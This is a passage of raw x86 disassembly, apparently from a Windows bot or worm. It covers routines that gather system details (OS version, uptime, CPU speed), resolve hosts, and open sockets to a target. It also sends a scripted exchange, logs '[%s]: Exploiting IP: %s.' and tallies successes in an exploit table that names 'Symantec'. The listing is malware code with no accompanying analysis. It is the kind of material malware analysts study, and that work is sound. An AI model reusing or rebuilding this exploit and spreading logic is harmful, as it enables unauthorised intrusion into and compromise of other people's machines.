sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_4DBC90
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_41C360
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41ADD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE41 proc near ; CODE XREF: sub_4172C1+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
nop
call near ptr 26D04D8h
test eax, eax
jz short loc_41AED4
cmp [ebp+var_90], 4
jnz short loc_41AEAA
cmp [ebp+var_8C], esi
jnz short loc_41AE92
cmp [ebp+var_84], 1
jnz short loc_41AE85
push 1
pop esi
loc_41AE85: ; CODE XREF: sub_41AE41+3Fj
cmp [ebp+var_84], 2
jnz short loc_41AED4
push 1
jmp short loc_41AED3
; ---------------------------------------------------------------------------
loc_41AE92: ; CODE XREF: sub_41AE41+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41AE9F
loc_41AE9B: ; CODE XREF: sub_41AE41+78j
push 2
jmp short loc_41AED3
; ---------------------------------------------------------------------------
loc_41AE9F: ; CODE XREF: sub_41AE41+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_41AED4
jmp short loc_41AEC4
; ---------------------------------------------------------------------------
loc_41AEAA: ; CODE XREF: sub_41AE41+2Ej
cmp [ebp+var_90], 5
jnz short loc_41AED4
cmp [ebp+var_8C], esi
jz short loc_41AE9B
cmp [ebp+var_8C], 1
jnz short loc_41AEC8
loc_41AEC4: ; CODE XREF: sub_41AE41+67j
push 3
jmp short loc_41AED3
; ---------------------------------------------------------------------------
loc_41AEC8: ; CODE XREF: sub_41AE41+81j
cmp [ebp+var_8C], 2
jnz short loc_41AED4
push 7
loc_41AED3: ; CODE XREF: sub_41AE41+4Fj
; sub_41AE41+5Cj ...
pop esi
loc_41AED4: ; CODE XREF: sub_41AE41+25j
; sub_41AE41+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_41AE41 endp
; =============== S U B R O U T I N E =======================================
sub_41AED9 proc near ; CODE XREF: sub_41AF8F+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_41AEE1: ; CODE XREF: sub_41AED9+2Fj
; sub_41AED9+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
call near ptr 2670E97h
nop
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call sub_41DCB0
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_41AEE1
jb short loc_41AF10
cmp ebx, esi
ja short loc_41AEE1
loc_41AF10: ; CODE XREF: sub_41AED9+31j
push 0
push 64h
push edi
push ebx
call sub_41DD20
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_41AF83
jb short loc_41AF2F
cmp esi, 50h
jnb short loc_41AF34
loc_41AF2F: ; CODE XREF: sub_41AED9+4Fj
push 4Bh
xor edx, edx
pop eax
loc_41AF34: ; CODE XREF: sub_41AED9+54j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF3F
cmp esi, 47h
jnb short loc_41AF44
loc_41AF3F: ; CODE XREF: sub_41AED9+5Fj
push 42h
xor edx, edx
pop eax
loc_41AF44: ; CODE XREF: sub_41AED9+64j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF4F
cmp esi, 37h
jnb short loc_41AF54
loc_41AF4F: ; CODE XREF: sub_41AED9+6Fj
push 32h
xor edx, edx
pop eax
loc_41AF54: ; CODE XREF: sub_41AED9+74j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF5F
cmp esi, 26h
jnb short loc_41AF64
loc_41AF5F: ; CODE XREF: sub_41AED9+7Fj
push 21h
xor edx, edx
pop eax
loc_41AF64: ; CODE XREF: sub_41AED9+84j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF6F
cmp esi, 1Eh
jnb short loc_41AF74
loc_41AF6F: ; CODE XREF: sub_41AED9+8Fj
push 19h
xor edx, edx
pop eax
loc_41AF74: ; CODE XREF: sub_41AED9+94j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF7F
cmp esi, 0Ah
jnb short loc_41AF83
loc_41AF7F: ; CODE XREF: sub_41AED9+9Fj
xor eax, eax
xor edx, edx
loc_41AF83: ; CODE XREF: sub_41AED9+4Dj
; sub_41AED9+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_41AED9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AF8F proc near ; CODE XREF: sub_401ACD+2728p
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_43DB88
mov [ebp+var_CC], 94h
nop
call near ptr 26D04D8h
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_41B016
cmp [ebp+var_C4], ebx
jnz short loc_41AFF2
cmp [ebp+var_BC], 1
jnz short loc_41AFDC
mov [ebp+var_4], offset dword_431620
loc_41AFDC: ; CODE XREF: sub_41AF8F+44j
cmp [ebp+var_BC], 2
jnz loc_41B091
mov [ebp+var_4], offset dword_43161C
jmp short loc_41B062
; ---------------------------------------------------------------------------
loc_41AFF2: ; CODE XREF: sub_41AF8F+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41B004
mov [ebp+var_4], offset dword_431618
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B004: ; CODE XREF: sub_41AF8F+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_41B052
mov [ebp+var_4], offset dword_431614
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B016: ; CODE XREF: sub_41AF8F+33j
cmp [ebp+var_C8], 5
jnz short loc_41B052
cmp [ebp+var_C4], ebx
jnz short loc_41B030
mov [ebp+var_4], offset dword_431610
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B030: ; CODE XREF: sub_41AF8F+96j
cmp [ebp+var_C4], 1
jnz short loc_41B042
mov [ebp+var_4], offset dword_43160C
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B042: ; CODE XREF: sub_41AF8F+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_41B059
loc_41B052: ; CODE XREF: sub_41AF8F+7Cj
; sub_41AF8F+8Ej
mov [ebp+var_4], offset dword_431604
loc_41B059: ; CODE XREF: sub_41AF8F+73j
; sub_41AF8F+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41B091
loc_41B062: ; CODE XREF: sub_41AF8F+61j
cmp [ebp+var_B8], bl
jz short loc_41B091
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset dword_436BB4
push eax
call sub_41C266
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_41B091: ; CODE XREF: sub_41AF8F+54j
; sub_41AF8F+D1j ...
mov ax, word_4383AC
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4CB8B4
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_41B0CA
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax
loc_41B0CA: ; CODE XREF: sub_41AF8F+12Cj
push [ebp+arg_4]
call sub_40AA06
pop ecx
push eax
call dword_4CBA14
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4CB98C
cmp eax, ebx
jz short loc_41B0F3
push dword ptr [eax]
jmp short loc_41B0F8
; ---------------------------------------------------------------------------
loc_41B0F3: ; CODE XREF: sub_41AF8F+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41B0F8: ; CODE XREF: sub_41AF8F+162j
lea eax, [ebp+var_3E4]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
nop
call near ptr 26709F6h
lea eax, [ebp+var_114]
push 46h
push eax
push offset dword_43AC78
push ebx
mov esi, 409h
push ebx
push esi
call near ptr 2740000h
nop
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call near ptr 27315A6h
nop
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
nop
call near ptr 2830000h
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_41C3B1
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_416DD9
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_41ADD8
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
call sub_41AED9
push edx
push eax
push offset dword_43AB9C
push 200h
push [ebp+arg_0]
call sub_41C360
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_41AF8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B243 proc near ; CODE XREF: sub_401ACD+2756p
; sub_401ACD+71F5p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_41BF70
add esp, 0Ch
cmp dword_4CBABC, 0
jnz short loc_41B2AF
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_4CB898
test eax, eax
jnz short loc_41B298
lea eax, [ebp+var_8C]
push offset dword_43ACF0
push eax
call sub_41C266
pop ecx
pop ecx
loc_41B298: ; CODE XREF: sub_41B243+40j
test [ebp+var_C], 1
jz short loc_41B2A5
push offset dword_43ACE8
jmp short loc_41B2AA
; ---------------------------------------------------------------------------
loc_41B2A5: ; CODE XREF: sub_41B243+59j
push offset off_43ACE4
loc_41B2AA: ; CODE XREF: sub_41B243+60j
lea eax, [ebp+var_8]
jmp short loc_41B2C7
; ---------------------------------------------------------------------------
loc_41B2AF: ; CODE XREF: sub_41B243+28j
mov esi, offset off_43ACE0
lea eax, [ebp+var_8]
push esi
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_8C]
pop ecx
push esi
loc_41B2C7: ; CODE XREF: sub_41B243+6Aj
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_43AC9C
push 200h
push [ebp+arg_0]
call sub_41C360
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41B243 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B302 proc near ; DATA XREF: sub_401ACD+757Fo
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_43ADD0
call sub_41BF70
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_41BF70
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_41BF70
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_41BF70
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_41BF70
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_4CB8D0
test eax, eax
jz loc_41B49C
cmp [ebp+var_34], ebx
jbe short loc_41B3D9
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B3D9: ; CODE XREF: sub_41B302+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_41B3F7
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B3F7: ; CODE XREF: sub_41B302+DEj
cmp [ebp+var_20], ebx
jbe short loc_41B411
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B411: ; CODE XREF: sub_41B302+F8j
cmp [ebp+var_18], ebx
jbe short loc_41B42B
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B42B: ; CODE XREF: sub_41B302+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_4CB984
call dword_4CB9A8
mov esi, eax
cmp esi, ebx
jz short loc_41B4B4
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_4CB99C
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_41B4BB
push ebx
push ebx
push ebx
push ebx
push eax
call dword_4CB948
test eax, eax
jz short loc_41B495
push offset dword_43ADB4
jmp short loc_41B4C0
; ---------------------------------------------------------------------------
loc_41B495: ; CODE XREF: sub_41B302+18Aj
push offset unk_43AD78
jmp short loc_41B4C0
; ---------------------------------------------------------------------------
loc_41B49C: ; CODE XREF: sub_41B302+B7j
lea eax, [ebp+var_55C]
push offset dword_43AD5C
push eax
call sub_41C266
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_41B4CE
; ---------------------------------------------------------------------------
loc_41B4B4: ; CODE XREF: sub_41B302+153j
push offset unk_43AD30
jmp short loc_41B4C0
; ---------------------------------------------------------------------------
loc_41B4BB: ; CODE XREF: sub_41B302+17Bj
push offset unk_43AD00
loc_41B4C0: ; CODE XREF: sub_41B302+191j
; sub_41B302+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41B4CE: ; CODE XREF: sub_41B302+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_41B4F9
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_409869
add esp, 14h
loc_41B4F9: ; CODE XREF: sub_41B302+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_415D38
pop ecx
push esi
call dword_4CBA08
push [ebp+var_4]
call dword_4CBA08
push [ebp+var_1D8]
call sub_40B6D6
pop ecx
push ebx
nop
call near ptr 26E0000h
pop edi
pop esi
pop ebx
sub_41B302 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41B52C proc near ; CODE XREF: sub_401ACD+4F59p
arg_0 = dword ptr 4
push esi
push 100h
mov esi, offset byte_4DBCCC
push 0
push esi
call sub_41BF70
add esp, 0Ch
push [esp+4+arg_0]
push offset aS_1 ; "%s"
push 0FFh
push esi
call sub_41C360
add esp, 10h
pop esi
retn
sub_41B52C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B55B proc near ; CODE XREF: ___:0041B843p
; ___:0041B860p ...
var_14 = byte ptr -14h
var_C = byte ptr -0Ch
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
push edi
mov esi, offset dword_4DBDD4
lea edi, [ebp+var_C]
mov ax, word_43ADD4
movsd
movsb
mov esi, offset dword_4DBDCC
lea edi, [ebp+var_14]
mov [ebp+var_2], ax
mov ax, word_4346DC
movsd
mov [ebp+var_6], ax
mov ax, word_4CB88C
movsw
mov [ebp+var_4], ax
mov eax, [ebp+arg_8]
xor esi, esi
cmp eax, esi
jnz loc_41B627
mov edi, [ebp+arg_0]
push ebx
mov ebx, [ebp+arg_4]
mov [ebp+arg_8], esi
loc_41B5AD: ; CODE XREF: sub_41B55B+C7j
mov eax, [ebp+arg_8]
sub eax, esi
jz short loc_41B5CD
dec eax
jnz short loc_41B61B
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24
push esi
push 1
lea eax, [ebp+var_4]
jmp short loc_41B5E1
; ---------------------------------------------------------------------------
loc_41B5CD: ; CODE XREF: sub_41B55B+57j
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24
push esi
push 1
lea eax, [ebp+var_6]
loc_41B5E1: ; CODE XREF: sub_41B55B+70j
push eax
push edi
call dword_4CBA24
push ebx
call sub_41B9C0
pop ecx
cmp eax, 2
push esi
jnz short loc_41B5FD
push 4
lea eax, [ebp+var_C]
jmp short loc_41B602
; ---------------------------------------------------------------------------
loc_41B5FD: ; CODE XREF: sub_41B55B+99j
push 5
lea eax, [ebp+var_14]
loc_41B602: ; CODE XREF: sub_41B55B+A0j
push eax
push edi
call dword_4CBA24
push esi
push ebx
call sub_41B9C0
pop ecx
push eax
push ebx
push edi
call dword_4CBA24
loc_41B61B: ; CODE XREF: sub_41B55B+5Aj
inc [ebp+arg_8]
cmp [ebp+arg_8], 1
jle short loc_41B5AD
pop ebx
jmp short loc_41B69D
; ---------------------------------------------------------------------------
loc_41B627: ; CODE XREF: sub_41B55B+42j
dec eax
jz short loc_41B646
dec eax
jnz short loc_41B69D
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24
push esi
push 1
lea eax, [ebp+var_4]
jmp short loc_41B65D
; ---------------------------------------------------------------------------
loc_41B646: ; CODE XREF: sub_41B55B+CDj
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24
push esi
push 1
lea eax, [ebp+var_6]
loc_41B65D: ; CODE XREF: sub_41B55B+E9j
push eax
push edi
call dword_4CBA24
push [ebp+arg_4]
call sub_41B9C0
pop ecx
cmp eax, 2
push esi
jnz short loc_41B67B
push 4
lea eax, [ebp+var_C]
jmp short loc_41B680
; ---------------------------------------------------------------------------
loc_41B67B: ; CODE XREF: sub_41B55B+117j
push 5
lea eax, [ebp+var_14]
loc_41B680: ; CODE XREF: sub_41B55B+11Ej
push eax
push edi
call dword_4CBA24
push esi
push [ebp+arg_4]
call sub_41B9C0
pop ecx
push eax
push [ebp+arg_4]
push edi
call dword_4CBA24
loc_41B69D: ; CODE XREF: sub_41B55B+CAj
; sub_41B55B+D0j
pop edi
pop esi
leave
retn
sub_41B55B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 288h
push ebx
push esi
push edi
mov esi, offset dword_43ADEC
lea edi, [ebp-38h]
mov ax, word_4346DC
movsd
movsd
movsd
movsb
mov esi, offset dword_43ADE8
lea edi, [ebp-1Ch]
movsw
movsb
mov esi, offset dword_4DBDD4
lea edi, [ebp-28h]
movsd
movsb
mov esi, offset dword_43ADE4
lea edi, [ebp-10h]
movsw
movsb
mov esi, offset dword_43ADE0
lea edi, [ebp-14h]
movsw
movsb
mov esi, offset dword_43ADDC
lea edi, [ebp-0Ch]
movsw
movsb
xor esi, esi
mov [ebp-6], ax
mov [ebp-16h], ax
mov ax, word ptr aR ; "r"
push esi
push 1
push 2
mov [ebp-18h], ax
xor edi, edi
call dword_4CBA54
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41B724
push eax
call dword_4CBA6C
loc_41B724: ; CODE XREF: ___:0041B71Bj
lea eax, [ebp+0Ch]
mov word ptr [ebp-48h], 2
push eax
call dword_4CBA14
push dword ptr [ebp+0A8h]
mov [ebp-44h], eax
call dword_4CB9D4
mov [ebp-46h], ax
lea eax, [ebp-48h]
push 10h
push eax
push ebx
call dword_4CB97C
test eax, eax
jnz loc_41B820
loc_41B75C: ; CODE XREF: ___:0041B7CEj
; ___:0041B805j
push 40h
lea eax, [ebp-88h]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp-88h]
push esi
push 40h
push eax
push ebx
call dword_4CB9EC
cmp eax, esi
jle loc_41B82E
cmp eax, 0FFFFFFFFh
jz loc_41B82E
mov eax, edi
sub eax, esi
jz short loc_41B7D0
dec eax
jz short loc_41B79E
dec eax
jz short loc_41B80A
jmp short loc_41B800
; ---------------------------------------------------------------------------
loc_41B79E: ; CODE XREF: ___:0041B797j
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-88h]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_41B820
lea eax, [ebp-6]
push esi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp-6]
push eax
push ebx
call dword_4CBA24
push 2
pop edi
jmp short loc_41B75C
; ---------------------------------------------------------------------------
loc_41B7D0: ; CODE XREF: ___:0041B794j
lea eax, [ebp-38h]
push eax
lea eax, [ebp-88h]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_41B820
lea eax, [ebp-38h]
push esi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp-38h]
push eax
push ebx
call dword_4CBA24
push 1
pop edi
loc_41B800: ; CODE XREF: ___:0041B79Cj
cmp edi, 3
jz short loc_41B82E
jmp loc_41B75C
; ---------------------------------------------------------------------------
loc_41B80A: ; CODE XREF: ___:0041B79Aj
lea eax, [ebp-28h]
push eax
lea eax, [ebp-88h]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_41B82E
loc_41B820: ; CODE XREF: ___:0041B756j
; ___:0041B7B2j ...
push ebx
call dword_4CBA6C
xor eax, eax
jmp loc_41B9B7
; ---------------------------------------------------------------------------
loc_41B82E: ; CODE XREF: ___:0041B781j
; ___:0041B78Aj ...
push esi
lea eax, [ebp-16h]
push 1
push eax
push ebx
call dword_4CBA24
lea eax, [ebp-10h]
push 1
push eax
push ebx
call sub_41B55B
mov esi, dword_427080
add esp, 0Ch
mov edi, 3E8h
push edi
call esi
lea eax, [ebp-18h]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push edi
call esi
lea eax, [ebp-10h]
push 2
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push edi
call esi
and dword ptr [ebp-4], 0
mov edi, offset byte_4DBCCC
push edi
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_41B8CE
loc_41B891: ; CODE XREF: ___:0041B8CCj
mov eax, [ebp-4]
movsx eax, byte_4DBCCC[eax]
push eax
push offset dword_43ADD8
lea eax, [ebp-20h]
push 3
push eax
call sub_41C360
lea eax, [ebp-20h]
push 0
push eax
push ebx
call sub_41B55B
add esp, 1Ch
push 7Dh
call esi
inc dword ptr [ebp-4]
push edi
call sub_41B9C0
cmp [ebp-4], eax
pop ecx
jb short loc_41B891
loc_41B8CE: ; CODE XREF: ___:0041B88Fj
lea eax, [ebp-0Ch]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push 0FA0h
call esi
push 2
pop edi
loc_41B8E7: ; CODE XREF: ___:0041B8FEj
lea eax, [ebp-14h]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push 12Ch
call esi
dec edi
jnz short loc_41B8E7
mov edi, 7D0h
push edi
call esi
lea eax, [ebp-0Ch]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push edi
call esi
xor edi, edi
lea eax, [ebp-14h]
push edi
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push 190h
call esi
mov dword ptr [ebp-4], 2
loc_41B938: ; CODE XREF: ___:0041B950j
push 258h
call esi
lea eax, [ebp-0Ch]
push edi
push eax
push ebx
call sub_41B55B
add esp, 0Ch
dec dword ptr [ebp-4]
jnz short loc_41B938
push ebx
call dword_4CBA6C
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
lea eax, [ebp-288h]
push 1FFh
push eax
call sub_41C360
push edi
lea eax, [ebp-288h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
mov eax, [ebp+0B0h]
add esp, 28h
shl eax, 6
inc dword_431800[eax]
push 1
lea eax, dword_431800[eax]
pop eax
loc_41B9B7: ; CODE XREF: ___:0041B829j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B9C0 proc near ; CODE XREF: sub_401000+34p
; ___:0040136Ep ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_41B9E0
loc_41B9CC: ; CODE XREF: sub_41B9C0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_41BA13
test ecx, 3
jnz short loc_41B9CC
add eax, 0
loc_41B9E0: ; CODE XREF: sub_41B9C0+Aj
; sub_41B9C0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41B9E0
mov eax, [ecx-4]
test al, al
jz short loc_41BA31
test ah, ah
jz short loc_41BA27
test eax, 0FF0000h
jz short loc_41BA1D
test eax, 0FF000000h
jz short loc_41BA13
jmp short loc_41B9E0
; ---------------------------------------------------------------------------
loc_41BA13: ; CODE XREF: sub_41B9C0+11j
; sub_41B9C0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41BA1D: ; CODE XREF: sub_41B9C0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41BA27: ; CODE XREF: sub_41B9C0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41BA31: ; CODE XREF: sub_41B9C0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_41B9C0 endp
; =============== S U B R O U T I N E =======================================
sub_41BA3B proc near ; CODE XREF: sub_4010AB+64p
; sub_401ACD+5809p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_41BA50
